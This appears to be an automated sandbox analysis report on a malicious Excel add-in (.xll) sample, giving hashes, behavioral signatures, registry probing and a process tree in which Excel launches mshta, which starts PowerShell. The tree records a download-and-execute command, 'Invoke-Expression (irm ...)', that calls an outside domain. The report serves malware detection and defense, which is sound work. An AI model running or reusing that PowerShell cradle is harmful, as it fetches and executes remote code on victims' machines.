Analysis
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max time kernel
101s -
max time network
125s -
platform
windows11-21h2_x64 -
resource
win11-20240419-en -
resource tags
arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system -
submitted
23-05-2024 02:18
Static task
static1
Behavioral task
behavioral1
Sample
98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442.xll
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442.xll
Resource
win11-20240419-en
General
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Target
98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442.xll
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Size
12KB
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MD5
9ec6f0c4cecd543da8b08e13da2eadc5
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SHA1
0e598c70ae358ada7970de5bb2d30422264f494a
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SHA256
98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442
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SHA512
d5561578af4901be129fbb95a4e180acfd3c4bebc09a939a507c0c5f3767bfa21190a08ba6d1bd3a59d4d181a6db424dd96d04e9de8fa95bf78b5fe6e301d8e7
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SSDEEP
192:qL29RBzDzeobchBj8JONNONrrucrEPEjr7Aha:U29jnbcvYJOKNucvr7Ca
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3704 2804 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 12 4768 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 2804 EXCEL.EXE 2804 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2804 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4768 powershell.exe 4768 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4768 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 2804 EXCEL.EXE 2804 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 2804 wrote to memory of 3704 2804 EXCEL.EXE mshta.exe PID 2804 wrote to memory of 3704 2804 EXCEL.EXE mshta.exe PID 2804 wrote to memory of 3704 2804 EXCEL.EXE mshta.exe PID 3704 wrote to memory of 4768 3704 mshta.exe powershell.exe PID 3704 wrote to memory of 4768 3704 mshta.exe powershell.exe PID 3704 wrote to memory of 4768 3704 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4768
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442.xll
Filesize12KB
MD59ec6f0c4cecd543da8b08e13da2eadc5
SHA10e598c70ae358ada7970de5bb2d30422264f494a
SHA25698d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442
SHA512d5561578af4901be129fbb95a4e180acfd3c4bebc09a939a507c0c5f3767bfa21190a08ba6d1bd3a59d4d181a6db424dd96d04e9de8fa95bf78b5fe6e301d8e7
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82